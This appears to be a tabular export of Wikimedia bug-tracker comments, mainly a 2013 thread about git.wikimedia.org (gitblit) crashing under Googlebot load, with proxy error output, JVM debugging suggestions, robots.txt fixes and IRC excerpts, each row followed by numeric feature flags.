+243202,VisualEditor: Structural content inside a <small> should be alienated but this fails because they are inline rather than inline-block,"Block nodes (like lists) in inline positions (like in <small>) get alienated as inline aliens. These inline aliens then don't get shields and phantoms with the right dimensions. One way to fix that could be to make alienInline display:inline-block instead of display:inline, which seems to fix the dimensions of the shield, but we'd have to carefully evaluate that as it would potentially impact a lot of things.",,,1385394281,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kvei76aer6u2clu7k444,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+53769,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"From the mailing list
+
+> from:	 planetenxin <planetenxin@web.de> via gmail.com 
+> reply-to:	 Wikimedia developers <wikitech-l@lists.wikimedia.org>
+> to:	 wikitech-l <wikitech-l@lists.wikimedia.org>
+> date:	 Sun, Jul 21, 2013 at 10:15 PM
+> subject:	 [Wikitech-l] Git Proxy Error
+
+> Hi folks,
+> I'm constantly getting the following error on https://git.wikimedia.org/:
+> Proxy Error
+> The proxy server received an invalid response from an upstream server.
+> The proxy server could not handle the request GET /.
+> Reason: Error reading from remote server
+>/Alexander
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51656
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49371",Medium,50.0,1374410040,1441874873.0,PHID-USER-hwuumsjqciw7ji5qhpc7,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-m7yoxj62gdjohzchm7zw,task_description,declined,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+524079,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"The gitblit software powering git.wikimedia.org is in the process of being replaced by Phabricator Diffusion. See:
+
+{T111465}
+Project: #gitblit-deprecate",,,1441874873,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,114,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+242769,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Maybe http://git.zx2c4.com/cgit/about/ might be an alternative to gitblit as its main design criterion is speed and caching.,,,1396988983,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,40,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+242764,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Just a heads-up: Upstream in https://code.google.com/p/gitblit/issues/detail?id=274 asks ""for discussion with Wikimedia folks on how to improve caching since the current strategy is not ideal"".",,,1378204045,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+242757,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"max semenik reported that gitblit should mark critical links with rel=""nofollow""",,,1376771529,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+242749,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,mark configured the misc varnish cluster for gitblit: https://gerrit.wikimedia.org/r/#/c/78262/,,,1376771436,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242741,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"browser cache problem reported upstream and fixed, see here:
+https://code.google.com/p/gitblit/issues/detail?id=274",,,1376771021,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242733,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"https://gerrit.wikimedia.org/r/#/c/78919/
+
+As soon as the bot picks up th new copy of the robots.txt file that should take care of it for now.",,,1376373844,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+242731,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,faidon lambiotis restarted it a couple of hours ago withoutout tracing it seems? and now its dead again.,,,1376345034,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+242729,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Stupid question: is crawl-delay in robots.txt worth trying?,,,1376334890,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1
+242727,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"before restarting the java process, could you trace it with:
+* jps -l to find out the process id
+* strace to see if it excessivly calls into the operating system
+* jstack
+* kill -QUIT <p> to print the stacktrace
+* jmap -heap <p> to find memory usage
+* jmap -histo:live <p> | head to find excessivly used classes
+* if you have ui, you might try jconsole or http://visualvm.java.net as well
+
+you might want to set the java -XX:+HeapDumpOnOutOfMemoryError parameter when starting, so it writes a heap dump early enough. it can be analyzed with jhat.",,,1376253536,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+242724,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,down again at the moment... i think gitblit might behave nicer in case bots overloading it.,,,1376218114,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+242718,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Back up again at the moment...,,,1376185946,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+242713,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #34)
+> created a bug at gitblit:
+> https://code.google.com/p/gitblit/issues/detail?id=294.
+
+No need for that, I've already been in contact with upstream. It's mainly being overloaded from Googlebot.",,,1376176292,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+242708,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,created a bug at gitblit: https://code.google.com/p/gitblit/issues/detail?id=294.,,,1376168077,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242704,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"As reported by OsamaK last night in #wikimedia-tech and again today by rupert THURNER on wikitech-l (and I personally confirmed last evening), git.wikimedia.org is down yet again.
+
+---
+$ time curl https://git.wikimedia.org/
+<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+<html><head>
+<title>502 Proxy Error</title>
+</head><body>
+<h1>Proxy Error</h1>
+<p>The proxy server received an invalid
+response from an upstream server.<br />
+The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
+Reason: <strong>Error reading from remote server</strong></p></p>
+</body></html>
+
+real	12m1.522s
+user	0m0.010s
+sys	0m0.026s
+---",,,1376146093,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+242697,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"For the records: https://gerrit.wikimedia.org/r/#/c/78243/
+(By the way: Ariel & Daniel, thanks for keeping this ticket updated.)",,,1376021981,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+242691,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,chad fixed up service of robots.txt and we've unblocked the google bot.  Waiting for verification that google has picked up the file and we'll see how performance looks after that.,,,1375978732,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1
+242685,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,(Resetting severity & priority as long as things are working again.),,,1375952067,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+242680,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"merged this:
+
+https://gerrit.wikimedia.org/r/#/c/77909/1/templates/apache/sites/git.wikimedia.org.erb
+
+and:
+
+08:42 mutante: on overloaded antimony: stopped gitblit, ran puppet, blocked Googlebot, restarted apache and gitblit
+08:22 mutante: git.wikimedia.org back
+08:21 mutante: attempted to restart gitblit on antimony 
+
+01:44 < mutante> apergos: oh.. Googlebot-Image/1.0 != Googlebot ?
+01:44 < apergos> no
+01:44 < apergos> googlebot is the one that rate limited
+01:44 < apergos> that should be enough, it's the /zip/ paths primarily that were the problem
+01:44 < mutante> Googlebot-Image is the one still being very active
+01:44 < mutante> ok
+01:44 < apergos> it's minor compared to the rest
+01:44 < mutante> alright
+01:44 < apergos> I did a count from the logs yeasterday
+01:45 < mutante> now YandexBot kicking in :)
+01:45 < apergos> please note it on the bz report so we don't forget
+01:46 < mutante> java CPU usage isn't > 500% anymore though :)",,,1375951706,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+242675,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Turns out that we were serving an empty robots.txt even though there is content. Logs show lots of:
+[Wed Aug 07 21:44:15 2013] [error] [client XXX.XXX.XXX.XXX] proxy: Error reading from remote server returned by /robots.txt
+
+Chad says this is likely due to some fancy proxy rewriting sending everything to gitblit.  In the meantime the google folks have cut back both parallel open connections and req/sec until we have this sorted and can give them the heads up.",,,1375913787,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+242669,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"I'm talking to the folks at google about it, will update as soon as I have more info.",,,1375906393,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+242664,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Google is the one misbehaving.,,,1375825195,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+242658,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #24)
+> > Do the misbehaving bots respect robots.txt?
+> 
+> Nope.
+
+Just to be clear, I hope that you block whatever wished and needed except Google (so that we have at least one search engine).",,,1375823311,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1
+242653,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #23)
+> (In reply to comment #22)
+> > So bots aren't going to be allowed to index gitblit anymore since they can't
+> > seem to behave.
+> 
+> Do the misbehaving bots respect robots.txt?
+
+Nope.",,,1375822950,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1
+242646,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #22)
+> So bots aren't going to be allowed to index gitblit anymore since they can't
+> seem to behave.
+
+Do the misbehaving bots respect robots.txt?",,,1375822567,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1
+242640,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,So bots aren't going to be allowed to index gitblit anymore since they can't seem to behave.,,,1375822451,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+242634,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #20)
+> Down again?
+
+Indeed. :-(
+
+---
+$ time curl https://git.wikimedia.org/
+<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+<html><head>
+<title>502 Proxy Error</title>
+</head><body>
+<h1>Proxy Error</h1>
+<p>The proxy server received an invalid
+response from an upstream server.<br />
+The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
+Reason: <strong>Error reading from remote server</strong></p></p>
+</body></html>
+
+real	12m2.101s
+user	0m0.010s
+sys	0m0.028s
+---",,,1375816643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1
+242631,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Down again?,,,1375791780,,PHID-USER-wz5bw3q6zykhqbbeohzq,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+242627,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Restarted service.,,,1375681588,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+242623,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #17)
+> It's again inaccessible (my browser doesn't receive any reply) with antimony
+> at 100 % load.
+
+Confirmed that git.wikimedia.org is inaccessible currently; no idea about antimony's load.
+
+Re-opening this bug as it's no longer resolved. Thank you, Nemo, for commenting here.
+
+---
+$ time curl https://git.wikimedia.org/
+<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
+<html><head>
+<title>502 Proxy Error</title>
+</head><body>
+<h1>Proxy Error</h1>
+<p>The proxy server received an invalid
+response from an upstream server.<br />
+The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
+Reason: <strong>Error reading from remote server</strong></p></p>
+</body></html>
+
+real	12m43.815s
+user	0m0.010s
+sys	0m0.024s
+---",,,1375669136,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+242618,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,It's again inaccessible (my browser doesn't receive any reply) with antimony at 100 % load.,,,1375636764,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+242612,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Closing this as resolved/fixed for now.,,,1374687493,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+242604,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"So, it's a little sluggish still but it's at least staying up. Did some more puppetizing and blocked some misbehaving spiders that were causing it to fall over all the time.
+
+Still want to up the heap and see if we can get some better performance out of it.",,,1374618927,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0
+242597,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,I've got some new caching stuff that landed in master just for us :) Looking at turning that on today as well.,,,1374601182,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+242590,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #5)
+> For the record, it doesn't seem to be completely down, just really slow to
+> respond.
+
